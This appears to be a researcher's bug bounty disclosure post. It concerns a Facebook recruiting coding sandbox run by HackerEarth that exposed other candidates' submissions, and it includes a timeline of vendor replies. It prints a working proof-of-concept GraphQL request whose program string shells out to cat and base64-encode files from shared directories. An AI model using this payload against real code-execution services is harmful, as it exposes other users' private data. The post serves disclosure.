facebookrecruiting.com is Facebook’s property by a reference to a WHOIS lookup. According to Facebook, the coding service it runs is HackerEarth’s property. The reason for these two lines is because at one point neither company seemed to want to accept this bug as theirs.

The ownership was hot potato. The server that ran coding exercises was so insecure you’d think it was a honeypot or HITB and that’s saying it nicely (Facebook said the server was a sandbox…) I’m not really sure how much I am allowed to say since Facebook closed and paid out without explaining any further.

You can take reference to @Samm0uda on Twitter for his engagements with the same exact bug that both Facebook and HackerEarth said was fixed.

The summary of the part of the report that allowed the report to progress is as follows:

The following GraphQL request is a mutation to run a programming exercise in Python. Because of some faulty directory permission settings this meant a candidate can view any other candidate’s exercise.

new AsyncRequest('/graphql/').setData({doc_id:6056696137689477,variables:'{input:{ language: "PYTHON3", program_string: "import subprocess; print(subprocess.check_output(\'ls /hackerearth/PYTHON* | xargs -I % cat % | base64 \', shell=True))", session_id: "1621876559385_2982984106", problem_id: 146466059993201, editable_line_numbers: [100]}}'}).send()

Executing above will show my own program_string as it’s listed under

/hackerearth/PYTHON

To get Facebook to agree to the above was a process in itself as they had to discuss amongst themselves and HackerEarth whether this data counts as private.

Timeline

May 24, 2021 at 2:11 pm– Report sent
May 24, 2021 at 5:08 pm – Inform Facebook directory permissions changed by HackerEarth (No one replied up to this point)
May 25, 2021 – Closed by Facebook

The code you’re executing here is executed on a sandbox environment owned and maintained by HackerEarth. We can confirm we don’t store any Facebook specific interviewing data on HackerEarth’s infrastructure and as such, any vulnerability found within it, won’t affect Facebook. Given that this is not our infrastructure we can not confirm whether the issue you found if valid or not and we strongly encourage you to submit any issues you found to HackerEarth through their own bug bounty program:- https://www.hackerearth.com/docs/wiki/program/bounty/

Note that testing this infrastructure is subject to their program’s terms.

Read again:

We can confirm we don’t store any Facebook specific interviewing data
Read again: we can not confirm whether the issue you found if valid

May 25, 2021 – Sent GraphQL mutation proving the exposed data
May 25, 2021 – Requested disclosure given that Facebook’s stance on what they store.
May 25, 2021 – Response from HackerEarth after Facebook said to talk to them

Hi Philippe,Heard back from the team that this is a known issue that is already taken up by the team and is in pipeline to be fixed.We will not be able to provide you a bounty right now

May 25, 2021 – Requested disclosure from HackerEarth
May 25, 2021 – Response from Facebook

We stand by the fact that there is no information about candidates stored on this sandbox. We use HackerEarth’s execution API for coding puzzles that people can send in. In the future, we want to use these as a recruiting source. Since a recruiting source isn’t monitored by engineers but by recruiters we need to provide them with an alternative way to view the correctness of a submission, to do this, we execute the submission through the execution API provided by HackerEarth after which the results are visible to the recruiters. Based on the correctness, they can then decide to move forward or not.

Real interviews however won’t go through HackerEarth as we use a different solution for actual coding interviews. My colleague raised your response to the wider security team after which we’ve escalated your report to the team that partners with HackerEarth and we’ve asked them two questions:

– Are we already using HackerEarth’s execution API
– Are submissions provided by candidates considered private dataShould the answer to both of these questions be a yes, then we will accept your report and discuss it in our upcoming payout meeting.

From previous engagements with HackerEarth we learned that the same sandbox might be used by multiple companies, so the code you’ve obtained during your testing isn’t necessarily part of a Facebook coding puzzle solution. At this point in time, we also aren’t sure if our recruiting teams are already having external people use this, should we get confirmation about this then we will let you know.Note that disclosures of a vulnerability in HackerEarth’s infrastructure aren’t covered by our program’s terms and need to comply with HackerEarth’s bug bounty program’s terms. Once we have gotten back to you with an update we encourage you to confirm with HackerEarth whether you can disclose this finding.

Jun 1, 2021 – Response from Facebook

We’ve confirmed internally that we are actively using this API and are still engaging with HackerEarth to fully understand the exposed data. I’m moving your submission to a confirmed state and will keep you updated on any new developments.

Jul 23, 2021 – Bounty by Facebook (They never asked me to check the patch)
Jul 23, 2021 – Asked Facebook why pay and not ask to check
Jul 23, 2021 – Response from Facebook

We have looked into this issue and believe that the vulnerability has been patched. the fix was implemented by HackerEarth by restricting access to the directories with candidates coding practices solution execution data. Please let us know if you believe that the patch does not resolve this issue.

Jul 24, 2021 – Requested disclosure from HackerEarth
Jul 26, 2021 – Closed without response as solved (to me that means yes I can disclose).